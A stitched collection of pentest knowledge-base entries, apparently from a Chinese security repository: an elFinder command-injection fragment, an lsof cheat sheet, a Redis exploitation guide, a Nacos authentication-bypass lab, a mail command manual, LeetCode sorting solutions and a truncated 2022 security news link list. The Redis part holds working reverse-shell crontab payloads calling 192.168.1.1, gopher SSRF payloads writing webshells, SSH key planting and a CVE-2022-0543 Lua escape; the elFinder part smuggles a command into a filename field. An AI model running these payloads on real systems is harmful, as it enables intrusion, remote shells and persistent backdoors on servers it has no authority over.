en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close ``` 这个数据包中,你可以看到三个重要的参数: - `name`, 值为`-TvTT=id>shell.php # a.zip`,你可以修改`id>shell.php`为任意你想执行的命令 - `targets[0]`, 值为`l1_MS50eHQ`,`l1`意思是第一个文件系统(默认值,不用修改),`MS50eHQ`是`1.txt`的base64编码 - `targets[1]`, 值为`l1_Mi56aXA`,`l1`意思是第一个文件系统(默认值,不用修改),`Mi56aXA`是`2.zip`的base64编码 虽然这个数据包发送后会返回错误信息,但实际上其中指定的命令已经被成功执行,可以访问`http://your-ip:8080/files/shell.php`查看执行的结果: ![](4.png)
sec-knowleage
--- title: Lsof date: 2021-02-05 16:12:47 background: bg-blue-400 tags: - port - processes - utility categories: - Linux Command intro: | This quick reference cheat sheet provides various for using lsof command. plugins: - copyCode --- Getting Started -------------- ### Introduction **lsof** meaning `L`i`S`t `O`pen `F`iles is used to find out which files are open by which process ```shell script $ lsof $ sudo lsof -u root ``` ### Port-specific ```shell script $ lsof -i :8080 $ lsof -i :80 -i :22 $ lsof -i TCP:22 $ lsof -i TCP:1-1024 $ lsof -i UDP $ lsof -i @192.168.1.5 ``` ### Process-specific ```shell script $ lsof -c mysql $ lsof -c java $ lsof -c ssh $ lsof -c nginx $ lsof -c ssh -c httpd ``` ### User-specific ```shell script $ lsof -u www-data $ lsof -u www-data -u ubuntu $ lsof -i -u ^root # Except certain user ``` ### Network-specific ```shell script $ lsof -i 4 # IPv4 only $ lsof -i 6 # IPv6 only ``` ### PID-specific ```shell script $ lsof -p 1753 $ lsof -p ^3 # Except certain pids ``` ### Filename-specific ```shell script $ lsof /var/log/messages $ lsof /etc/passwd ``` ### Directory-specific ```shell script $ lsof +D /var/log # Within a directory ``` ### Kill ```shell script $ kill -9 `lsof -t -u apache` $ kill -9 $(lsof -t -i :8080) ```
sec-knowleage
# Redis > shodan : "product:Redis" > shodan : product:"Redis key-value store" > fofa : protocol="redis" **Redis 基础** - [Redis](../../../../Integrated/数据库/笔记/Redis.md) **相关文章** - [细数 redis 的几种 getshell 方法](http://b1ue.cn/archives/318.html) - [Redis 常见漏洞利用方法总结](https://mp.weixin.qq.com/s/JMGD-xUwu6bw9Uh7IKcl1A) - [【创宇小课堂】渗透测试-Redis未授权访问漏洞利用](https://mp.weixin.qq.com/s/SG_5lXOFa0QSxdCUZVI9QQ) - [Redis 常见漏洞利用方法总结](https://www.freebuf.com/articles/network/280984.html) **相关工具** - [yuyan-sec/RedisEXP](https://github.com/yuyan-sec/RedisEXP) - Redis 漏洞利用工具 --- ## 未授权访问漏洞 **漏洞描述** Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 `/root/.ssh` 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器、添加计划任务、写入 Webshell 等操作。 **相关文章** - [redis未授权访问漏洞利用总结](https://p0sec.net/index.php/archives/69/) - [Redis 未授权访问漏洞利用分析](https://hellohxk.com/blog/redis-unauthorized-vulnerability/) - [redis未授权访问与ssrf利用](https://www.kingkk.com/2018/08/redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E4%B8%8Essrf%E5%88%A9%E7%94%A8/) - [Hackredis Enhanced Edition Script](https://joychou.org/web/hackredis-enhanced-edition-script.html#directory092928099425939341) **搭建环境** ```bash wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 && make ``` ```vim vim redis.conf # bind 127.0.0.1 protected-mode no ``` ```bash ./src/redis-server redis.conf ``` 或 ``` bash f8x-dev -redis ``` 测试 ```bash redis-cli -h <目标IP> > info # 查看 redis 版本信息、一些具体信息、服务器版本信息等等: > CONFIG GET dir # 获取默认的 redis 目录 > CONFIG GET dbfilename # 获取默认的 rdb 文件名 ``` ### 利用计划任务执行命令反弹 shell 在 redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell 先在自己的服务器上监听一个端口 `nc -lvnp 4444` 然后执行命令: ```bash config set dir /var/spool/cron config set dbfilename root # payload set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.1/4444 0>&1\n\n" save ``` 这个方法只能 Centos 上使用,Ubuntu 上行不通,原因如下: 因为默认 redis 写文件后是 644 的权限,但 ubuntu 要求执行定时任务文件 `/var/spool/cron/crontabs/<username>` 权限必须是 600 也就是 -rw------- 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 `/var/spool/cron/<username >` 权限 644 也能执行 因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错 由于系统的不同,crontrab 定时文件位置也会不同: - Centos 的定时任务文件在 `/var/spool/cron/<username>` - Ubuntu 定时任务文件在 `/var/spool/cron/crontabs/<username>` gopher payload ``` curl -v "gopher://127.0.0.1:6379/_*1%0d%0a\$8%0d%0aflushall%0d%0a*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >&/dev/tcp/192.168.1.1/8888>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$4%0d%0aroot%0d%0a*1%0d%0a\$4%0d%0asave%0d%0aquit%0d%0a" ``` ### 写 ssh-keygen 公钥然后使用私钥登录 原理就是在数据库中插入一条数据,将本机的公钥作为 value,key 值随意,然后通过修改数据库的默认路径为 `/root/.ssh` 和默认的缓冲文件 `authorized.keys` ,把缓冲的数据保存在文件里,这样就可以在服务器端的 `/root/.ssh` 下生成一个授权的 key。 在以下条件下,可以利用此方法 1. Redis 服务使用 ROOT 账号启动 2. 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器. 首先在攻击机本地生成一对密钥 ```bash ssh-keygen -t rsa ``` 然后执行命令: ```bash # 将公钥的内容写到一个文本中命令如下 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt # 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下 cat test.txt | redis -cli -h <hostname> -x set test redis-cli -h <hostname> keys * get test # 设置 Redis 的备份路径为 /root/.ssh/ 和保存文件名为 authorized_keys ,并将数据保存在目标服务器硬盘上 config set dir "/root/.ssh" config set dbfilename "authorized_keys" save ``` 保存后可以直接利用公钥登录 ssh 如果报错 `(error) ERR Changing directory: No such file or directory` 可能是因为 root 从来没有登录过 ### 往 web 物理路径写 webshell 当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell,执行以下命令 ```bash config set dir /var/www/html/ config set dbfilename shell.php set x "<?php phpinfo();?>" save ``` 即可将 shell 写入 web 目录(web 目录根据实际情况) 这里的第三步写入 webshell 的时候,也可以使用 ```bash set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n" ``` `\r\n\r\n` 代表换行,用 redis 写入文件的话会自带一些版本信息,如果不换行的话可能会导致无法执行, 可见下图 gopher payload ``` gopher://127.0.0.1:6379/_*1%0d%0a\$8%0d%0aflushall%0d%0a*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0ax%0d%0a\$25%0d%0a%3C%3Fphp%20%40eval(%24_POST%5Bc%5D)%3B%3F%3E%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$13%0d%0a/var/www/html%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$9%0d%0ashell.php%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a ``` ### SSRF 配合 Redis 未授权访问漏洞进行攻击 - [SSRF#配合 Redis 未授权访问漏洞进行攻击](../../Web安全/Web_Generic/SSRF.md#配合-redis-未授权访问漏洞进行攻击) --- ## 主从复制远程代码执行漏洞 **漏洞描述** 先创建一个恶意的 Redis 服务器作为 Redis 主机 (master),该 Redis 主机能够回应其他连接他的 Redis 从机的响应。有了恶意的 Redis 主机之后,就会远程连接目标 Redis 服务器,通过 slaveof 命令将目标 Redis 服务器设置为我们恶意 Redis 的 Redis 从机(slaver)。然后将恶意 Redis 主机上的 exp 同步到 Reids 主机上,并将 dbfilename 设置为 exp.so。最后再控制 Redis 从机(slaver)加载模块执行系统命令即可 补充 : redis 4.0.0 版本开始才支持 module load **相关文章** - [Redis 基于主从复制的 RCE 利用方式](https://paper.seebug.org/975/) - [Redis主从复制RCE影响分析](https://mp.weixin.qq.com/s/YPLnYWsBMAYij7wXHVpodg) - 介绍了 redis 主从 rce 后如何恢复的方法,可以学习一下 **POC | Payload | exp** - [n0b0dyCN/redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) - 该工具无法对 Redis 密码进行 Redis 认证,也就是说该工具只能在目标存在 Redis 未授权访问漏洞时使用。如果存在密码是不能使用的 ```bash python3 redis-rogue-server.py --rhost rhost --lhost lhost ``` - [Ridter/redis-rce](https://github.com/Ridter/redis-rce) ```bash python3 redis-rce.py -r rhost -L lhost -f exp.so -a password ``` - [n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) - [0671/RedisModules-ExecuteCommand-for-Windows](https://github.com/0671/RedisModules-ExecuteCommand-for-Windows) - [LoRexxar/redis-rogue-server](https://github.com/LoRexxar/redis-rogue-server) - [No-Github/redis-rogue-server-win](https://github.com/No-Github/redis-rogue-server-win) - Redis 4.x & 5.x RCE - [r35tart/RedisWriteFile](https://github.com/r35tart/RedisWriteFile) - 通过 Redis 主从写出无损文件 - [Dliv3/redis-rogue-server](https://github.com/Dliv3/redis-rogue-server) - [0671/RabR](https://github.com/0671/RabR) **搭建环境** ```bash yum install -y tcl wget download.redis.io/releases/redis-4.0.11.tar.gz tar zxf redis-4.0.11.tar.gz cd redis-4.0.11 make PREFIX=/usr/local/redis install /usr/local/redis/bin/redis-server ``` **痕迹清除** 在攻击之前将数据库原本的配置信息进行备份,攻击完成后,清除痕迹,恢复目录和数据库文件,同时卸载,删除模块 ```bash CONFIG get * # 获取所有的配置 CONFIG get dir # 获取 快照文件 保存的 位置 CONFIG get dbfilename # 获取 快照文件 的文件名 ``` ```bash # 切断主从,关闭复制功能 slaveof no one # 恢复目录 config set dir /data # 通过 dump.rdb 文件恢复数据 config set dbfilename dump.rdb # 删除 exp.so system.exec 'rm ./exp.so' # 卸载 system 模块的加载 module unload system ``` --- ## Lua RCE **相关文章** - [在Redis中构建Lua虚拟机的稳定攻击路径](https://www.anquanke.com/post/id/151203/) **POC | Payload | exp** - [iSafeBlue/redis-rce](https://github.com/iSafeBlue/redis-rce) - [QAX-A-Team/redis_lua_exploit](https://github.com/QAX-A-Team/redis_lua_exploit) --- ## CVE-2022-0543 Redis沙盒逃逸 **漏洞描述** 在 Debian 上,Lua 由 Redis 动态加载,且在 Lua 解释器本身初始化时,module 和 require 以及 package 的 Lua 变量存在于上游 Lua 的全局环境中,而不是不存在于 Redis 的 Lua 上,并且前两个全局变量在上个版本中被清除修复了,而 package 并没有清除,所以导致 redis 可以加载上游的 Lua 全局变量 package 来逃逸沙箱。 **相关文章** - [CVE-2022-0543 Redis沙盒逃逸分析](https://mp.weixin.qq.com/s/CgFT96vFfnOF4UFGvsCOyg) **POC | Payload | exp** 需要知道 package.loadlib 的路径 ``` # 利用 luaopen_os 函数 eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0 # 利用 luaopen_io 函数 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 ```
sec-knowleage
# Nacos Authentication Bypass(CVE-2021-29441) [中文版本(Chinese version)](README.zh-cn.md) Nacos is a new open source project launched by Alibaba. It is a dynamic service discovery, configuration management and service management platform that makes it easier to build cloud-native applications. Committed to helping discover, configure, and manage microservices. Nacos provides a set of simple and easy-to-use feature sets that can quickly realize dynamic service discovery, service configuration, service metadata and traffic management. The vulnerability occurs when nacos will determine whether the requested user-agent is "Nacos-Server" when performing authentication and authorization operations, and if it is, it will not perform any authentication. The original intention of the developer is to handle some server-to-server requests. However, because the configuration is too simple, and the negotiated user-agent is set to Nacos-Server, it is directly hard-coded in the code, which leads to the emergence of loopholes. And by using this unauthorized vulnerability, an attacker can obtain sensitive information such as usernames and passwords. Reference links: - https://github.com/advisories/GHSA-36hp-jr8h-556f ## Vulnerable environments Running vulnerability environment: ```shell docker compose up -d ``` After the environment is running, ports 3306, 8848, 9848 and 9555 will be open. In this exploit, we only need to use port 8848, which is the web access port.**When executing the vulnerability verification process, please visit port 8848 first to confirm it is open. In some cases the nacos service will fail to start (caused by the inability to connect to the database), you can restart the nacos service or restart all services** ```shell docker compose restart nacos ``` ## Exploit Scripts ```shell python poc.py http://target:8848 ``` ![](poc.png) ## Exploit The vulnerability exploitation process is as follows. 1. Change the value of User-Agent to Nacos-Server in the request package 2. Visit http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9 to see if the status code is 200 and if the content contains `pageItems` 3. Visit http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub to add a new user using the POST method 4. Visit http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9 for a list of existing users 5. Visit http://target:8848/nacos/ and log in using the new user added (vulhub/vulhub) ### Detecting the presence of vulnerabilities ![](1.png) After adding the Header header, visit `http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9` to see if the return value is 200 and if the content contains `pageItems`. ### Adding a new user ![](2.png) After adding the Header header use **POST** to request `http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub` to add a new user with the account and password of vulhub ### Login using the newly created account ![](3.png)
sec-knowleage
mail === 命令行下发送和接收电子邮件 ## 补充说明 **mail命令** 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整。 ### 语法 ```shell mail(选项)(参数) ``` ### 选项 ```shell -b<地址>:指定密件副本的收信人地址; -c<地址>:指定副本的收信人地址; -f<邮件文件>:读取指定邮件文件中的邮件; -i:不显示终端发出的信息; -I:使用互动模式; -n:程序使用时,不使用mail.rc文件中的设置; -N:阅读邮件时,不显示邮件的标题; -s<邮件主题>:指定邮件的主题; -u<用户帐号>:读取指定用户的邮件; -v:执行时,显示详细的信息。 ``` ### 参数 邮件地址:收信人的电子邮箱地址。 ### 实例 **直接使用shell当编辑器** ```shell mail -s "Hello from jsdig.com by shell" admin@jsdig.com hello,this is the content of mail. welcome to www.jsdig.com ``` 第一行是输入的命令,`-s`表示邮件的主题,后面的`admin@jsdig.com`则是邮件的接收人,输入完这行命令后回车,会进入邮件正文的编写,我们可以输入任何文字,比如上面的两行。当邮件正文输入完成后,需要按 **CTRL+D** 结束输入,此时会提示你输入Cc地址,即邮件抄送地址,没有直接回车就完成了邮件的发送。 **使用管道进行邮件发送** ```shell echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com ``` 使用管道直接敲入这行命令即可完成邮件的发送,其中echo后的是邮件正文。 **使用文件进行邮件发送** ```shell mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt ``` 使用上面的命令后,我们就可以把mail.txt文件的内容作为邮件的内容发送给admin@jsdig.com了。 使用上述三种方式都可以给外部邮箱进行邮件发送,但因为前面2中都是直接在shell中敲入邮件内容,因此无法输入中文,即使我们使用粘贴的方式输入了中文,那么收到的邮件也是乱码的。但第3种方式,我们可以在window下编辑好邮件内容后,放到linux下,再进行发送,这样就可以正常发送中文了。不过目前邮件的中文标题暂时没有找到解决办法。 因为mail程序本身就是调用sendmail来进行邮件发送的,因此我们可以在mail命令中使用sendmail的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令: ```shell mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com<mail.txt ``` 上面的命令中,我们使用了– -f user@jsdig.com这样的参数,这是sendmail的选项,其中-f表示邮件的发送人邮件地址。 很多情况下,我们也需要使用邮件来发送附件,在linux下使用mail命令发送附件也很简单,不过首先需要安装uuencode软件包,这个程序是对二进制文件进行编码使其适合通过邮件进行发送,在CentOS上安装该软件包如下: ```shell yum install sharutils ``` 安装完成后我们就可以来进行附件的发送了,使用如下命令: ```shell uuencode test.txt test | mail -s "hello,see the attachement" admin@jsdig.com<mail.txt ``` 完成后就可以把text.txt文件作为邮件的附件发送出去了。uuencode有两个参数,第一个是要发送的文件,第二个是显示的文件名称。 这里我主要介绍的是在CentOS下使用mail发送电子邮件的一些使用方法,需要的要求是你的linux必须安装了sendmail并开启了,同时保证可以连接外网。另外,文章中提到的命令本人都经过亲自测试,保证完全可用,不过你需要将命令中的电子邮件地址换成自己的电子邮件地址。
sec-knowleage
# Leetcode 题解 - 排序 <!-- GFM-TOC --> * [Leetcode 题解 - 排序](#leetcode-题解---排序) * [快速选择](#快速选择) * [堆](#堆) * [1. Kth Element](#1-kth-element) * [桶排序](#桶排序) * [1. 出现频率最多的 k 个元素](#1-出现频率最多的-k-个元素) * [2. 按照字符出现次数对字符串排序](#2-按照字符出现次数对字符串排序) * [荷兰国旗问题](#荷兰国旗问题) * [1. 按颜色进行排序](#1-按颜色进行排序) <!-- GFM-TOC --> ## 快速选择 用于求解 **Kth Element** 问题,也就是第 K 个元素的问题。 可以使用快速排序的 partition() 进行实现。需要先打乱数组,否则最坏情况下时间复杂度为 O(N<sup>2</sup>)。 ## 堆 用于求解 **TopK Elements** 问题,也就是 K 个最小元素的问题。使用最小堆来实现 TopK 问题,最小堆使用大顶堆来实现,大顶堆的堆顶元素为当前堆的最大元素。实现过程:不断地往大顶堆中插入新元素,当堆中元素的数量大于 k 时,移除堆顶元素,也就是当前堆中最大的元素,剩下的元素都为当前添加过的元素中最小的 K 个元素。插入和移除堆顶元素的时间复杂度都为 log<sub>2</sub>N。 堆也可以用于求解 Kth Element 问题,得到了大小为 K 的最小堆之后,因为使用了大顶堆来实现,因此堆顶元素就是第 K 大的元素。 快速选择也可以求解 TopK Elements 问题,因为找到 Kth Element 之后,再遍历一次数组,所有小于等于 Kth Element 的元素都是 TopK Elements。 可以看到,快速选择和堆排序都可以求解 Kth Element 和 TopK Elements 问题。 ### 1. Kth Element 215\. Kth Largest Element in an Array (Medium) [Leetcode](https://leetcode.com/problems/kth-largest-element-in-an-array/description/) / [力扣](https://leetcode-cn.com/problems/kth-largest-element-in-an-array/description/) ```text Input: [3,2,1,5,6,4] and k = 2 Output: 5 ``` 题目描述:找到倒数第 k 个的元素。 **排序** :时间复杂度 O(NlogN),空间复杂度 O(1) ```java public int findKthLargest(int[] nums, int k) { Arrays.sort(nums); return nums[nums.length - k]; } ``` **堆** :时间复杂度 O(NlogK),空间复杂度 O(K)。 ```java public int findKthLargest(int[] nums, int k) { PriorityQueue<Integer> pq = new PriorityQueue<>(); // 小顶堆 for (int val : nums) { pq.add(val); if (pq.size() > k) // 维护堆的大小为 K pq.poll(); } return pq.peek(); } ``` **快速选择** :时间复杂度 O(N),空间复杂度 O(1) ```java public int findKthLargest(int[] nums, int k) { k = nums.length - k; int l = 0, h = nums.length - 1; while (l < h) { int j = partition(nums, l, h); if (j == k) { break; } else if (j < k) { l = j + 1; } else { h = j - 1; } } return nums[k]; } private int partition(int[] a, int l, int h) { int i = l, j = h + 1; while (true) { while (a[++i] < a[l] && i < h) ; while (a[--j] > a[l] && j > l) ; if (i >= j) { break; } swap(a, i, j); } swap(a, l, j); return j; } private void swap(int[] a, int i, int j) { int t = a[i]; a[i] = a[j]; a[j] = t; } ``` ## 桶排序 ### 1. 出现频率最多的 k 个元素 347\. Top K Frequent Elements (Medium) [Leetcode](https://leetcode.com/problems/top-k-frequent-elements/description/) / [力扣](https://leetcode-cn.com/problems/top-k-frequent-elements/description/) ```html Given [1,1,1,2,2,3] and k = 2, return [1,2]. ``` 设置若干个桶,每个桶存储出现频率相同的数。桶的下标表示数出现的频率,即第 i 个桶中存储的数出现的频率为 i。 把数都放到桶之后,从后向前遍历桶,最先得到的 k 个数就是出现频率最多的的 k 个数。 ```java public int[] topKFrequent(int[] nums, int k) { Map<Integer, Integer> frequencyForNum = new HashMap<>(); for (int num : nums) { frequencyForNum.put(num, frequencyForNum.getOrDefault(num, 0) + 1); } List<Integer>[] buckets = new ArrayList[nums.length + 1]; for (int key : frequencyForNum.keySet()) { int frequency = frequencyForNum.get(key); if (buckets[frequency] == null) { buckets[frequency] = new ArrayList<>(); } buckets[frequency].add(key); } List<Integer> topK = new ArrayList<>(); for (int i = buckets.length - 1; i >= 0 && topK.size() < k; i--) { if (buckets[i] == null) { continue; } if (buckets[i].size() <= (k - topK.size())) { topK.addAll(buckets[i]); } else { topK.addAll(buckets[i].subList(0, k - topK.size())); } } int[] res = new int[k]; for (int i = 0; i < k; i++) { res[i] = topK.get(i); } return res; } ``` ### 2. 按照字符出现次数对字符串排序 451\. Sort Characters By Frequency (Medium) [Leetcode](https://leetcode.com/problems/sort-characters-by-frequency/description/) / [力扣](https://leetcode-cn.com/problems/sort-characters-by-frequency/description/) ```html Input: "tree" Output: "eert" Explanation: 'e' appears twice while 'r' and 't' both appear once. So 'e' must appear before both 'r' and 't'. Therefore "eetr" is also a valid answer. ``` ```java public String frequencySort(String s) { Map<Character, Integer> frequencyForNum = new HashMap<>(); for (char c : s.toCharArray()) frequencyForNum.put(c, frequencyForNum.getOrDefault(c, 0) + 1); List<Character>[] frequencyBucket = new ArrayList[s.length() + 1]; for (char c : frequencyForNum.keySet()) { int f = frequencyForNum.get(c); if (frequencyBucket[f] == null) { frequencyBucket[f] = new ArrayList<>(); } frequencyBucket[f].add(c); } StringBuilder str = new StringBuilder(); for (int i = frequencyBucket.length - 1; i >= 0; i--) { if (frequencyBucket[i] == null) { continue; } for (char c : frequencyBucket[i]) { for (int j = 0; j < i; j++) { str.append(c); } } } return str.toString(); } ``` ## 荷兰国旗问题 荷兰国旗包含三种颜色:红、白、蓝。 有三种颜色的球,算法的目标是将这三种球按颜色顺序正确地排列。它其实是三向切分快速排序的一种变种,在三向切分快速排序中,每次切分都将数组分成三个区间:小于切分元素、等于切分元素、大于切分元素,而该算法是将数组分成三个区间:等于红色、等于白色、等于蓝色。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7a3215ec-6fb7-4935-8b0d-cb408208f7cb.png"/> </div><br> ### 1. 按颜色进行排序 75\. Sort Colors (Medium) [Leetcode](https://leetcode.com/problems/sort-colors/description/) / [力扣](https://leetcode-cn.com/problems/sort-colors/description/) ```html Input: [2,0,2,1,1,0] Output: [0,0,1,1,2,2] ``` 题目描述:只有 0/1/2 三种颜色。 ```java public void sortColors(int[] nums) { int zero = -1, one = 0, two = nums.length; while (one < two) { if (nums[one] == 0) { swap(nums, ++zero, one++); } else if (nums[one] == 2) { swap(nums, --two, one); } else { ++one; } } } private void swap(int[] nums, int i, int j) { int t = nums[i]; nums[i] = nums[j]; nums[j] = t; } ```
sec-knowleage
#2022移动安全事记 时间线 - 0x00 - 1.2 [Kimsuky组织针对韩国新闻行业的钓鱼活动分析](https://www.freebuf.com/articles/paper/318041.html) - 1.3 [Detecting Evasive Malware on IoT Devices Using Electromagnetic Emanations](https://thehackernews.com/2022/01/detecting-evasive-malware-on-iot.html) - 1.3 [ThinkPHP5反序列化利用链总结与分析](https://www.freebuf.com/vuls/317886.html) - 1.4 [如何使用ChopChop扫描终端并识别暴露的敏感内容](https://www.freebuf.com/articles/endpoint/318125.html) - 1.4 [Kimsuky组织针对韩国新闻行业的钓鱼活动分析](https://www.secpulse.com/archives/172287.html) - 1.4 [2021年流行勒索软件盘点](https://www.secpulse.com/archives/172351.html) - 1.4 [实战中的越权攻击总结](https://www.freebuf.com/vuls/313396.html) - 1.4 [隐写术、小火龙与AgentVX:APT组织Evilnum新攻击活动详细分析](http://blog.nsfocus.net/agentvxapt-evilnum/) - 1.4 [Attackers abused cloud video platform to inject an e-skimmer into 100 Real Estate sites](https://securityaffairs.co/wordpress/126305/malware/cloud-video-platform-served-e-skimmer.html?utm_source=rss&utm_medium=rss&utm_campaign=cloud-video-platform-served-e-skimmer) - 1.5 [Can You Trust a File’s Digital Signature? New Zloader Campaign exploits Microsoft’s Signature Verification putting users at risk](https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/) - 1.5 [利用log4shell传播的StealthLoader病毒分析](https://www.secpulse.com/archives/172453.html) - 1.5 [恶意软件Purple Fox 伪装成 Telegram 安装程序传播](https://www.freebuf.com/articles/318509.html) - 1.5 [盘点 2021 年严重的网络攻击事件](https://www.freebuf.com/news/318492.html) - 1.5 [Agent Tesla 更新 SMTP 数据泄露技术](http://paper.seebug.org/1805/) - 1.5 [APT33新型恶意远控软件 “LittleLooter”](https://www.anquanke.com/post/id/264781) - 1.5 [New Zloader Banking Malware Campaign Exploiting Microsoft Signature Verification](https://thehackernews.com/2022/01/new-zloader-banking-malware-campaign.html) - 1.6 [挖矿团伙事件报告](http://blog.nsfocus.net/1222-1228-report/) - 1.6 [私人订制,打造白帽子专用移动系统](https://www.freebuf.com/articles/system/318876.html) - 1.6 [Git信息泄露原理解析及利用总结](https://www.freebuf.com/articles/web/318599.html) - 1.6 [研究人员揭露了一个长期潜伏的金融盗窃团伙——Elephant Beetle](https://www.freebuf.com/news/318735.html) - 1.6 [Apple iPhone Malware Tactic Causes Fake Shutdowns to Enable Spying](https://threatpost.com/apple-iphone-malware-fake-shutdowns-spying/177420/) - 1.6 [Threat actors stole 1.1 million customer accounts from 17 well-known companies](https://securityaffairs.co/wordpress/126381/cyber-crime/credential-stuffing-ny-oag-report.html?utm_source=rss&utm_medium=rss&utm_campaign=credential-stuffing-ny-oag-report) - 1.7 [利用收款二维码为网络犯罪“开绿灯“,到底是谁在为黑灰产“输血”?](https://www.anquanke.com/post/id/265087) - 1.7 [利用AppInfo RPC服务的UAC Bypass技术详解](https://www.freebuf.com/articles/network/318922.html) - 1.7 [网络空间测绘溯源技术剖析](http://paper.seebug.org/1810/) - 1.7 [NoReboot恶意软件让iPhone假装关机](https://www.freebuf.com/news/318944.html) - 1.7 [十大最常见的ATT&CK战术及技术](https://www.freebuf.com/articles/network/318869.html) - 1.7 [浅析九种跨域方式实现原理](https://www.secpulse.com/archives/172489.html) - 1.7 [Eight New macOS Malware Families Emerged in 2021](https://www.securityweek.com/eight-new-macos-malware-families-emerged-2021) - 1.7 [攻击技术研判|CVE-2021-40444漏洞在野利用新手法](http://blog.nsfocus.net/cve-2021-40444/) - 1.8 [APT新趋势:战略性休眠域名利用率提升,检测困难](https://www.freebuf.com/articles/network/318907.html) - 1.8 [FluBot malware continues to evolve. What’s new in Version 5.0 and beyond?](https://securityaffairs.co/wordpress/126451/malware/flubot-ver-5-0-improvements.html?utm_source=rss&utm_medium=rss&utm_campaign=flubot-ver-5-0-improvements) - 1.10 [Night Sky,一种针对企业的新型勒索软件](https://www.freebuf.com/news/319201.html) - 1.10 [“重狗”组织分析报告:面向企业邮箱的大规模钓鱼](http://paper.seebug.org/1811/) - 1.10 [移动应用安全:2021年的安全漏洞](https://www.secpulse.com/archives/172535.html) - 1.10 [Norton 360 安装挖矿程序](https://www.solidot.org/story?sid=70295) - 1.11 [APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit](https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/) - 1.11 [2021年挖矿木马趋势报告](https://www.secpulse.com/archives/172598.html) - 1.11 [“脆弱”的车联网](https://www.freebuf.com/articles/database/319292.html) - 1.11 [IRISA 开发新型恶意软件检测系统 通过树莓派探测特定电磁波](https://hackernews.cc/archives/37275) - 1.11 [研究人员在十几个广泛使用的 URL 解析器库中发现了 bug](https://hackernews.cc/archives/37257) - 1.11 [faker.js 与 colors.js 开源库遭开发者恶意破坏 波及大量项目](https://hackernews.cc/archives/37264) - 1.11 [利用AppInfo RPC服务的UAC Bypass技术详解](http://blog.nsfocus.net/appinfo-rpc-uac-bypass/) - 1.12 [RedLine 信息窃取器的新变种!伪装成Omicron 病例计数器传播](https://www.freebuf.com/news/319482.html) - 1.12 [密码技术在个人信息合规中的应用与落地](https://www.freebuf.com/articles/neopoints/319407.html) - 1.12 [New RedLine malware version distributed as fake Omicron stat counter](https://securityaffairs.co/wordpress/126627/cyber-crime/redline-malware-omicron.html) - 1.13 [SysJoker, a previously undetected cross-platform backdoor made the headlines](https://securityaffairs.co/wordpress/126656/malware/sysjoker-backdoor.html) - 1.13 [数百万便携式路由器受KCodes NetUSB 漏洞影响](https://www.freebuf.com/articles/319650.html) - 1.13 [新型恶意软件SysJoker正对Windows、Linux 和macOS 操作系统构成威胁](https://www.freebuf.com/news/319598.html) - 1.13 [Patchwork 